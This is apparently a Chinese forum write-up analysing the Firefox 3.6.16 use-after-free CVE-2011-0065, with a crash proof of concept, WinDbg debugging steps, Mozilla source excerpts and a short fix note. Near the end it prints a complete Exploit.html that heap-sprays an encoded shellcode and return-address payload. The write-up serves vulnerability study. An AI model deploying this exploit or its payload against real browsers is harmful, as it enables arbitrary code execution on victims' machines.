本帖最后由 zjwniccn 于 2017-2-28 22:38 编辑
软件名称:FireFox
软件版本:3.6.16
漏洞模块:xul.dll
模块版本:2.0.0.0
编译日期:2017/2/28 操作系统:Windows 7 旗舰版 sp1
漏洞编号:CVE-2011-0065(UAF)
漏洞类型:释放重引用
引用 : 参考漏洞战争:软件漏洞分析精要。
作者:林桠泉
0x1 漏洞简介
Fireox3.5.19~3.6.x中存在UAF漏洞 mChannel对象一经释放后变成空指针,然后又被其他变量引用,从而存在可利用得可能,导致可执行任意代码
0x2 利用windbg动态调试确定利用范围
开始之前的先添加 firefox的符号文件(WinDbg)
SRV*C:\local*http:\\symbols.mozilla.org/firefox
测试POC.html
[HTML] 纯文本查看 复制代码 <html>
<body>
<object id="d"><object>
<script type="text/javascript">
var e;
e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
e.data = "";
</script>
</body>
</html>
打开Firefox 并用 windbg加载 ,然后打开 测试POC.html
接着触发异常
[Asm] 纯文本查看 复制代码 0:000> g
(4e4.1fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05f956f0 ebx=058f35e4 ecx=05f48400 edx=05f92c40 esi=804b0002 edi=80000000
eip=03b3d544 esp=004cf254 ebp=004cf464 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
03b3d544 60 pushad
此时栈顶的返回地址是0x67574e75(不同机器不同地址)
1
接着察看栈回溯
命令:ub 67574e75
2
其中 67574e69 8b08 mov ecx,dword ptr [eax] //eax为对象
67574e72 ff5118 call dword ptr [ecx+18h] //ecx为虚表指针
根据c++成员函数特性this 指针调用约定,call dword ptr [ecx+18h] 正是调用某个对象的函数,及虚函数。每次调试分配地址不一,不能依靠地址来下断,在这里采用函数偏移的
断点设置的方法 。
我们这样设置:u xul!nsObjectLoadingContent::LoadObject+0xf2
栈顶的返回地址0x67574e75
可以知道调用的是
Matched: 67574d6d xul!nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int)
所以对 67574d6d 下断 :bp 67574d6d
从POC中发现函数 :onChannelRedirect
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object('0c'),0);
用windbg搜索该函数,发现有很多类里面包含onChannelRedirect 如下:
搜索命令:x xul!*::onChannelRedirect
触发漏洞的是:xul!nsObjectLoadingContent
通过搜索可以发现里面也含有onChannelRedirect方法, 这里列出来如下;
因此对xul!nsObjectLoadingContent::onChannelRedirect 下断
重载POC.html发现可以断下来
把下面断点都下断:
bp xul!nsObjectLoadingContent::OnChannelRedirect
bp xul!nsObjectLoadingContent::LoadObject
察看函数参数 总共有 三个参数 第二个参数是0x048deb50
反汇编看一下执行流程
uf xul!nsObjectLoadingContent::OnChannelRedirect
[C] 纯文本查看 复制代码 这些调试信息都有源码参照
[url=https://hg.mozilla.org/releases/mozilla-1.9.2/file/tip/content/base/src/nsObjectLoadingContent.cpp]https://hg.mozilla.org/releases/ ... tLoadingContent.cpp[/url]
摘选其中
class="sourcelines stripes"// nsIChannelEventSink
NS_IMETHODIMP
nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel,
nsIChannel *aNewChannel,
PRUint32 aFlags)
{
// If we're already busy with a new load, or have no load at all,
// cancel the redirect.
if (!mChannel || aOldChannel != mChannel) {
return NS_BINDING_ABORTED;
}
if (mClassifier) {
mClassifier->OnRedirect(aOldChannel, aNewChannel);
}
mChannel = aNewChannel;
return NS_OK;
}
mChannel = aNewChannel;//将新的对象 0x048deb50 赋予mChannel 对象,但由于Firefox本身的垃圾回收机制,在OnChannelRedirect调用完毕之后,不会回收不再使用的对象,即本函数内使用的aNewChannel对象,此时mChannel 就成了空指针。
继续执行会断在nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int)
来反汇编下
根据调试信息 对照源码
[C] 纯文本查看 复制代码
class="sourcelines stripes"nsresult
nsObjectLoadingContent::LoadObject(nsIURI* aURI,
PRBool aNotify,
const nsCString& aTypeHint,
PRBool aForceLoad)
。。。。。。
/。。。。。
class="sourcelines stripes"// From here on, we will always change the content. This means that a
// possibly-loading channel should be aborted.
if (mChannel) {
LOG(("OBJLC [%p]: Cancelling existing load\n", this));
if (mClassifier) {
mClassifier->Cancel();
mClassifier = nsnull;
}
class="sourcelines stripes"// These three statements are carefully ordered:
// - onStopRequest should get a channel whose status is the same as the
// status argument
// - onStopRequest must get a non-null channel
mChannel->Cancel(NS_BINDING_ABORTED); //引用已经释放的mChannel对象
if (mFinalListener) {
// NOTE: Since mFinalListener is only set in onStartRequest, which takes
// care of calling mFinalListener->OnStartRequest, mFinalListener is only
// non-null here if onStartRequest was already called.
mFinalListener->OnStopRequest(mChannel, nsnull, NS_BINDING_ABORTED);
mFinalListener = nsnull;
}
mChannel = nsnull;
}
。。。。。。
以下动态调试,先在xul!nsObjectLoadingContent::LoadObject+0xfc(更具调用虚函数偏移时崩溃得到的偏移量)的地方下断。
也就是:bp 68f24d6d+fc
并且反汇编看下流程:u 68f24d6d+0xfc
执行后断下,可以发现这里引用的对象正是前面的2个参数值0x0;
xul!nsObjectLoadingContent::OnChannelRedirect
单步执行就触发异常 ,因此虚表指针被改 导致索引虚函数时出错,进而程序崩溃
之后就是调用异常处理函数了。。。
分析 结束
结论:在xul!nsObjectLoadingContent::OnChannelRedirect函数中,当mChannel对象未被分配时,会临时赋予一个新对象值 ,而该对象值在函数返回后会被回收释放,从而导致空指针,又在后面的xul!nsObjectLoadingContent::LoadObject函数中引用到该空指针mChannel最终导致UAF漏洞发生。
漏洞利用:Exploit.html 崩溃地址 0x41414141
要想弹messagebox 自己去exploit-db找
[JavaScript] 纯文本查看 复制代码
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\x1C%u0c0c")
//%
// taken and modified from adobe_flashplayer_newfunction.rb %u1a77%u3e43 65e3f263 7D66A4E8
var sc = unescape("%u4141%u4141%u0028%u0c0c%uc012%u5ddb%u4141%u4141%u4141%u4141%u4141%u4141%uffae%u65e3%u4141%u4141%u0028%u0c0c%u4141%u4141%u4141%u4141%u4141%u4141%u1ad4%u7c80%u0084%u0c0c%u0028%u0c0c%u0400%u0000%u0040%u0000%u0028%u0c0c%uf00d%ubeef%u4413%u7c87%u0048%u0c0c%u0c00%u0c0c%u0400%u0000%u0040%u0000%u7174%u7276%u8646%ub0fc%u677b%u85bf%ubed6%u4fa8%uf987%u109b%uebd1%u2425%u0591%u349f%u9892%u3c4b%u731d%u7c78%u0c75%u42b7%ub997%u4e8d%ue389%ua927%u437f%u1c93%ub596%ud53b%ub6b4%u7748%u3115%uc7fe%uf8c0%u492c%u354a%u90b3%ud422%u14b1%ue083%ufd03%u2ab2%u3fe2%uf588%uba99%u047a%u2fb8%u7947%u3d2d%u7679%ubb41%ubba9%ub6b5%u2c71%u93ba%u2173%u7de1%u983d%u3fb1%ub88d%u9937%u6b14%u2ff9%u9134%u664f%u9fa8%u277e%u7a4e%u0147%u25e2%u2b46%u0cfd%u1cb2%u3590%ub9b3%u1d77%uf680%u3cd6%ueb8c%u1240%u3af8%u2dd4%u677f%u7241%u087c%u33e0%u0dfc%u9b97%u4b96%uf51b%ue381%u0543%u7b70%u0474%u00b0%ub4d5%ub724%u4978%u4a75%u1592%u48bf%ube42%u7c99%u7714%u9142%u2cb7%u24be%u9b2d%u7d71%u7b7a%u663f%u4398%u7973%ud428%u3d70%ub2b5%u0592%ub347%ubb96%u34b8%ub44a%ub904%u3578%ufc18%u904f%u41a8%ue211%ue30a%ud01a%ud6d2%u8da9%u0c7f%u4627%u13bf%ud3f7%ub1f8%u4840%u3715%u9f97%u3c75%uf50b%ud539%u7293%u324b%u30eb%ub6f9%u1949%uc1ff%u25e1%ue029%ufd38%ub067%u4e1c%u1dba%u742f%u760d%u7c7e%u277d%u4273%ufd02%u2d79%ua99b%ub11d%u7598%uf803%u7f35%ue320%u3f43%ub8ba%u7b9f%uf52b%u7a92%ub42c%u3dbe%u7191%u7072%ub766%u1c2f%ubf15%ub367%ubbb9%ue084%u4a41%u8925%u0cf9%u7677%ufc13%ueb81%u0d46%u4f90%u2147%u78d6%u9914%ud469%u05b2%u3cb5%u88b6%u4be1%u4897%u8da8%u24b0%u3334%u4ed5%u4093%u7496%u4904%ue20a%u7e37%u277f%u70b5%ue201%ub034%u7974%u1c7b%ud480%u4a8d%ua9b3%ue08c%u777e%u7204%u9947%ud232%u0dfc%u3776%u247a%u0b2f%ue1d1%u413f%ub8b2%u391d%u4ff5%ub625%u752d%u2973%u91f8%u909f%u4b7c%ue308%uf712%uc0c6%u9bfd%ua8b7%u40b9%u6796%u052c%u7149%u9843%u3cb1%u1935%u78eb%u9366%u144e%ud530%u9215%ubf0c%ubb42%u487d%u3dbe%ub4ba%ud687%u1146%u97f9%ueb20%u7f74%u777d%u4079%u8d3c%u0c9f%u4292%ufd6b%u97ba%ud618%ub798%uf909%u78b6%u7375%ub447%u227b%u23e0%ue3c1%ub02f%u1d70%u0035%u02e1%ub9d4%u7c37%uf83a%ue228%u717a%ud51b%u1472%u9646%u4148%ufc3b%u3d0d%u913f%ub3b2%ubb67%u9905%u2576%u1566%u93a9%ubfb8%u4a90%u7ea8%ueb31%u8434%u4fe2%u1c7b%u7cbe%u754e%uf538%u277a%ud085%u10e3%ue1d3%u724b%u7f2c%u7604%u8343%ue0f6%u9b49%u2d78%u247e%ub1b5%u3d70%u992d%u714f%ubb25%u9f48%u8da8%u3c7d%ubf9b%u4234%u1473%u4a41%u77b2%u9015%ufd40%u374b%u921c%u793f%u2c24%u1dd5%u0493%ub6b8%u4727%ub3b4%ua9b9%u67b5%ubad6%ube46%u49b1%u7491%u2a05%u0cf8%u2f98%u0df5%u4e96%u1a97%ub0d4%u6635%uf986%ufcb7%udb43%ub8d7%u42b3%u12d2%u74d9%uf424%u295f%ub1c9%u3144%u1947%u4703%u8319%ufcef%ub751%uf90b%ue10e%udad8%u23c4%u91f3%u7553%ub13a%u0410%ub18c%ueb50%ub367%u7880%u3431%u0033%ucf9e%uc575%ud791%uc60c%ue977%ud73f%u8969%u4434%u6e4e%ud0c1%ue5b2%uf281%uf8b2%u88c3%ue309%ud598%u12ad%u0a75%u5d99%uf902%u5c69%u33fa%u6e91%uc8c2%u15c1%u4402%ud71d%ua84d%u1020%u47ba%ue219%u8018%ufb2b%u8aeb%ufaf7%u4c00%uf073%u1a9d%u15d9%uf620%u2155%u09a9%ua382%u2de9%ud54e%u9f32%u3c66%u6960%ub793%u024a%u86d2%u3f44%ufeb8%u40c7%u00c2%ufb7e%u4439%udcfe%uc9a0%uc079%u7c00%u776d%u7fb7%u0192%u880d%u7e04%ua8e2%u1695%u9ac9%u833b%uae45%u2e30%ud8e4%u94ea%u5002%u83f4%u37ed%ua2fc%ue8d0%u1c47%u4576%uda0b%u726b%u0d21%u85f2%u323a%u169d%u95bc%u817e%u415d%u131a%uc0f5%ue081%uea76%u8f92%u2824%u192f%u5837%u3977%ub997%u74ef%uff84%ueece%u6f58%ucf7c%u00f4%u2f52%ub762%u4ae2%u2b06%u5dc2%uff5e%u4e00%ue1d7%ubc78%ub2b5%u122b%ue5c6%u52fd%uf968%u5aab")
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
array[n] = again + sc
}
e.data = ""
</script></body></html>
修复
若对象被释放则直接返回函数,不再引用mChannel对象
希望 有助于 大家 学习
|